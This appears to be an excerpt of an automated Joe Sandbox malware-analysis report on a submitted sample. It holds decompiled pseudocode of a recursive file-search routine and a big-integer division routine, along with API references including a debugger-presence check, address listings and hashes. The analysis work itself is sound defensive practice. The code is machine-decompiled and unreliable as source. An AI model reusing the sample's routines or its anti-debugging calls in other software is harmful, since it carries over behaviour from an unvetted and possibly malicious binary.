0x013c5c69
0x013c5c6e
0x013c5c7d

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 013C5C3B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 013C5C45
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 013C5C52

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 03122e8ddd7ca30fe7f9017f3777b584da4a607ed7c994e016efcc2649a23d4b
Instruction ID: 090c2609a4754e1566975b6a4a238174cd2789aa4cd65d315fd038d5b12b39e7
Opcode Fuzzy Hash: 03122e8ddd7ca30fe7f9017f3777b584da4a607ed7c994e016efcc2649a23d4b
Instruction Fuzzy Hash: E131C4749012199BCF21DF68D988BDDBBB8BF18714F5042EAE90CA7250EB709F818F44

Uniqueness

Uniqueness Score: -1.00%

Function 013C7D69 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E013C7D69(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				intOrPtr _t102;
				signed int _t105;
				union _FINDEX_INFO_LEVELS _t106;
				void* _t111;
				intOrPtr _t112;
				void* _t113;
				signed int _t118;
				void* _t119;
				signed int _t120;
				void* _t121;
				void* _t122;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_push(__edi);
				_t105 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t105) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t105 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t111 = E013C5A7D(_t85, _t78, 1);
					_pop(_t87);
					__eflags = _t105;
					if(_t105 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t105;
						_t40 = E013CBFEB(_t87, _t111 + _t105, _t78, _a4);
						_t120 = _t119 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E013C7FA8(_a16, _t101, __eflags, _t111);
							E013C59B2(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t105);
						_t75 = E013CBFEB(_t87, _t111, _t78, _a8);
						_t120 = _t119 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E013C5D1D();
							asm("int3");
							_t118 = _t120;
							_t121 = _t120 - 0x150;
							_t43 =  *0x13da1c8; // 0x21a16d55
							_v48 = _t43 ^ _t118;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t111);
							_t112 = _v332.cAlternateFileName;
							_push(_t105);
							_v372 = _t112;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t88 = E013CC040(_t79, _t88);
											continue;
										}
									}
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L19:
								_t106 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E013BDE40(_t106,  &_v332, _t106, 0x140);
								_t122 = _t121 + 0xc;
								_t113 = FindFirstFileExA(_t79, _t106,  &_v332, _t106, _t106, _t106);
								_t55 = _v336;
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E013C7D69(_t79, _t93, _t106, _t113,  &(_v332.cFileName), _t79, _v340);
											_t122 = _t122 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L37;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t113,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t103 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E013CBBA0(_t79, _t106, _t113, _t103 + _t96 * 4, _t65 - _t96, 4, E013C7BC1);
									}
								} else {
									_push(_t55);
									_t57 = E013C7D69(_t79, _t90, _t106, _t113, _t79, _t106, _t106);
									L26:
									_t106 = _t57;
								}
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									FindClose(_t113);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L19;
								} else {
									_push(_t112);
									E013C7D69(_t79, _t88, 0, _t112, _t79, 0, 0);
								}
							}
							__eflags = _v12 ^ _t118;
							return E013BD763(_v12 ^ _t118);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
				L40:
			}

0x013c7d6e
0x013c7d6f
0x013c7d72
0x013c7d72
0x013c7d75
0x013c7d75
0x013c7d77
0x013c7d78
0x013c7d81
0x013c7d82
0x013c7d85
0x013c7d88
0x013c7d8d
0x013c7d94
0x013c7d95
0x013c7d96
0x013c7d99
0x013c7da3
0x013c7da6
0x013c7da7
0x013c7da9
0x013c7dbd
0x013c7dbd
0x013c7dc0
0x013c7dca
0x013c7dcf
0x013c7dd2
0x013c7dd4
0x00000000
0x013c7dd6
0x013c7dda
0x013c7de3
0x013c7de9
0x00000000
0x013c7dec
0x013c7dab
0x013c7dab
0x013c7db1
0x013c7db6
0x013c7db9
0x013c7dbb
0x013c7df2
0x013c7df4
0x013c7df5
0x013c7df6
0x013c7df7
0x013c7df8
0x013c7df9
0x013c7dfe
0x013c7e02
0x013c7e04
0x013c7e0a
0x013c7e11
0x013c7e14
0x013c7e17
0x013c7e18
0x013c7e1b
0x013c7e1c
0x013c7e1f
0x013c7e20
0x013c7e41
0x013c7e41
0x013c7e43
0x00000000
0x00000000
0x013c7e28
0x013c7e2a
0x013c7e2c
0x013c7e2e
0x013c7e30
0x013c7e32
0x013c7e34
0x013c7e3f
0x00000000
0x013c7e3f
0x013c7e34
0x013c7e30
0x00000000
0x013c7e2c
0x013c7e45
0x013c7e47
0x013c7e4a
0x013c7e63
0x013c7e63
0x013c7e65
0x013c7e68
0x013c7e78
0x013c7e7a
0x013c7e7a
0x013c7e6a
0x013c7e6a
0x013c7e6d
0x00000000
0x013c7e6f
0x013c7e6f
0x013c7e72
0x00000000
0x013c7e74
0x013c7e74
0x013c7e74
0x013c7e72
0x013c7e6d
0x013c7e80
0x013c7e88
0x013c7e8c
0x013c7e9a
0x013c7e9f
0x013c7eb4
0x013c7eb6
0x013c7ebc
0x013c7ebf
0x013c7ef1
0x013c7ef1
0x013c7ef3
0x013c7ef6
0x013c7efc
0x013c7efc
0x013c7f03
0x013c7f1d
0x013c7f1d
0x013c7f2c
0x013c7f31
0x013c7f34
0x013c7f36
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7f05
0x013c7f05
0x013c7f0b
0x013c7f0d
0x00000000
0x013c7f0f
0x013c7f0f
0x013c7f12
0x00000000
0x013c7f14
0x013c7f14
0x013c7f1b
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7f1b
0x013c7f12
0x013c7f0d
0x00000000
0x013c7f38
0x013c7f40
0x013c7f46
0x013c7f48
0x013c7f48
0x013c7f50
0x013c7f55
0x013c7f5d
0x013c7f60
0x013c7f62
0x013c7f76
0x013c7f7b
0x013c7ec1
0x013c7ec1
0x013c7ec5
0x013c7ecd
0x013c7ecd
0x013c7ecd
0x013c7ecf
0x013c7ed2
0x013c7ed5
0x013c7ed5
0x013c7e4c
0x013c7e4f
0x013c7e51
0x00000000
0x013c7e53
0x013c7e53
0x013c7e59
0x013c7e5e
0x013c7e51
0x013c7ee2
0x013c7eed
0x00000000
0x00000000
0x00000000
0x013c7dbb
0x013c7d8f
0x013c7d91
0x013c7ded
0x013c7df1
0x013c7df1
0x00000000

Strings

., xrefs: 013C7EFC

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: c8e8a0c234d83a3bcd3fe9abda472c2750f0f0eda43f8f408d06b2d5e99cebeb
Instruction ID: a4e524db5feaddd6bd068b265e4af11f09dbc51042c4567fba0c2c51642f8016
Opcode Fuzzy Hash: c8e8a0c234d83a3bcd3fe9abda472c2750f0f0eda43f8f408d06b2d5e99cebeb
Instruction Fuzzy Hash: 803103729002096FDB249E7CCC88EFA7BBDDB85B18F1001ACE919D7251E6319D458F60

Uniqueness

Uniqueness Score: -1.00%

Function 013C9EA0 Relevance: 3.5, APIs: 2, Instructions: 464
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 90%

			E013C9EA0(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e3
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E013BD300(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E013CF060(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E013BD320(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E013BD320(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x13cb4bf
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E013CF060( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E013C87FA(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E013C87FA(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E013C87FA(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x013c9eac
0x013c9eaf
0x013c9eb3
0x013c9ebd
0x013c9ec0
0x013c9ec2
0x013c9ec4
0x013c9ed1
0x013c9ed1
0x013c9ed4
0x013c9ed4
0x013c9ed7
0x013c9eda
0x013c9edc
0x013ca00f
0x013ca011
0x013ca05a
0x013ca05e
0x013ca064
0x013ca013
0x013ca015
0x013ca018
0x013ca01a
0x013ca01d
0x013ca01f
0x013ca021
0x013ca055
0x013ca055
0x013ca055
0x013ca023
0x013ca028
0x013ca02e
0x013ca02e
0x013ca031
0x013ca033
0x013ca035
0x00000000
0x00000000
0x013ca037
0x013ca038
0x013ca03b
0x013ca03e
0x013ca040
0x00000000
0x013ca042
0x00000000
0x013ca042
0x00000000
0x013ca040
0x013ca044
0x013ca04b
0x013ca04f
0x013ca053
0x00000000
0x00000000
0x013ca053
0x013ca056
0x013ca056
0x013ca058
0x013ca065
0x013ca068
0x013ca06b
0x013ca06e
0x013ca06e
0x013ca072
0x013ca075
0x013ca078
0x013ca07b
0x013ca086
0x013ca07d
0x013ca082
0x013ca082
0x013ca090
0x013ca095
0x013ca098
0x013ca09a
0x013ca0a4
0x013ca0a7
0x013ca0ae
0x013ca0b1
0x013ca0b4
0x013ca0bc
0x013ca0c2
0x013ca0c2
0x013ca0c2
0x013ca0c2
0x013ca0b4
0x013ca0c7
0x013ca0ce
0x013ca0ce
0x013ca0d1
0x013ca0d4
0x013ca306
0x013ca306
0x013ca0da
0x013ca0da
0x013ca0e0
0x013ca0e3
0x013ca0e6
0x013ca0e9
0x013ca0ec
0x013ca0ef
0x013ca0f2
0x013ca0f2
0x013ca0f5
0x013ca0fc
0x013ca0fc
0x013ca0f7
0x013ca0f7
0x013ca0f7
0x013ca0fe
0x013ca102
0x013ca105
0x013ca107
0x013ca10a
0x013ca111
0x013ca114
0x013ca117
0x013ca122
0x013ca125
0x013ca12a
0x013ca12f
0x013ca136
0x013ca13b
0x013ca13d
0x013ca13f
0x013ca143
0x013ca146
0x013ca149
0x013ca151
0x013ca15a
0x013ca15a
0x013ca15c
0x013ca15f
0x013ca15f
0x013ca149
0x013ca169
0x013ca16e
0x013ca173
0x013ca175
0x013ca178
0x013ca17a
0x013ca17d
0x013ca180
0x013ca182
0x013ca185
0x013ca188
0x013ca18a
0x013ca191
0x013ca196
0x013ca199
0x013ca1a3
0x013ca1a5
0x013ca1a7
0x013ca1aa
0x013ca1aa
0x013ca1ac
0x013ca1af
0x013ca1b2
0x013ca1b5
0x013ca1b8
0x013ca18c
0x013ca18c
0x013ca18f
0x00000000
0x00000000
0x013ca18f
0x013ca1bb
0x013ca1bd
0x013ca1bf
0x00000000
0x013ca1c1
0x013ca1c1
0x013ca1c4
0x013ca1c6
0x013ca1c6
0x013ca1d4
0x013ca1d7
0x013ca1dc
0x013ca1de
0x00000000
0x00000000
0x013ca1e0
0x013ca1e7
0x013ca1e7
0x013ca1ea
0x013ca1ed
0x013ca1f0
0x013ca1f3
0x013ca1f3
0x013ca1f6
0x013ca1f9
0x013ca1fd
0x013ca200
0x013ca202
0x013ca205
0x00000000
0x00000000
0x013ca207
0x013ca205
0x013ca1e2
0x013ca1e2
0x013ca1e5
0x00000000
0x00000000
0x00000000
0x00000000
0x013ca1e5
0x013ca20c
0x013ca20c
0x00000000
0x013ca20c
0x013ca209
0x00000000
0x013ca209
0x013ca1c4
0x013ca1bf
0x013ca20f
0x013ca20f
0x013ca211
0x013ca21b
0x013ca21b
0x013ca21e
0x013ca220
0x013ca222
0x013ca224
0x013ca229
0x013ca22c
0x013ca22c
0x013ca22f
0x013ca232
0x013ca235
0x013ca237
0x013ca24c
0x013ca24e
0x013ca250
0x013ca252
0x013ca254
0x013ca256
0x013ca258
0x013ca25a
0x013ca25d
0x013ca25d
0x013ca261
0x013ca263
0x013ca269
0x013ca26c
0x013ca26c
0x013ca26c
0x013ca270
0x013ca270
0x013ca275
0x013ca278
0x013ca278
0x013ca27d
0x013ca27f
0x013ca281
0x013ca288
0x013ca288
0x013ca28a
0x013ca28f
0x013ca291
0x013ca294
0x013ca294
0x013ca297
0x013ca2a0
0x013ca2a0
0x013ca2a2
0x013ca2a2
0x013ca2a7
0x013ca2ad
0x013ca2b1
0x013ca2b4
0x013ca2b7
0x013ca2b9
0x013ca2b9
0x013ca2b9
0x013ca2be
0x013ca2be
0x013ca2c1
0x013ca2c4
0x013ca283
0x013ca283
0x013ca286
0x00000000
0x00000000
0x013ca286
0x013ca281
0x013ca2cb
0x013ca2cb
0x013ca2cc
0x013ca213
0x013ca213
0x013ca215
0x00000000
0x00000000
0x013ca215
0x013ca2dc
0x013ca2e1
0x013ca2e4
0x013ca2e8
0x013ca2e9
0x013ca2ec
0x013ca2ef
0x013ca2f0
0x013ca2f3
0x013ca2f6
0x013ca2f9
0x013ca2fc
0x013ca2fc
0x013ca304
0x013ca30b
0x013ca30c
0x013ca30e
0x013ca310
0x013ca312
0x013ca315
0x013ca320
0x013ca320
0x013ca326
0x013ca326
0x013ca329
0x013ca32a
0x013ca32a
0x013ca320
0x013ca32e
0x013ca330
0x013ca332
0x013ca334
0x013ca334
0x013ca336
0x013ca33a
0x00000000
0x00000000
0x013ca33c
0x013ca33c
0x013ca33f
0x013ca341
0x00000000
0x00000000
0x00000000
0x013ca341
0x013ca334
0x013ca343
0x013ca34d
0x00000000
0x00000000
0x00000000
0x013ca058
0x013c9ee2
0x013c9ee2
0x013c9ee2
0x013c9ee5
0x013c9ee8
0x013c9eeb
0x013c9f1c
0x013c9f1e
0x013c9f69
0x013c9f6b
0x013c9f72
0x013c9f79
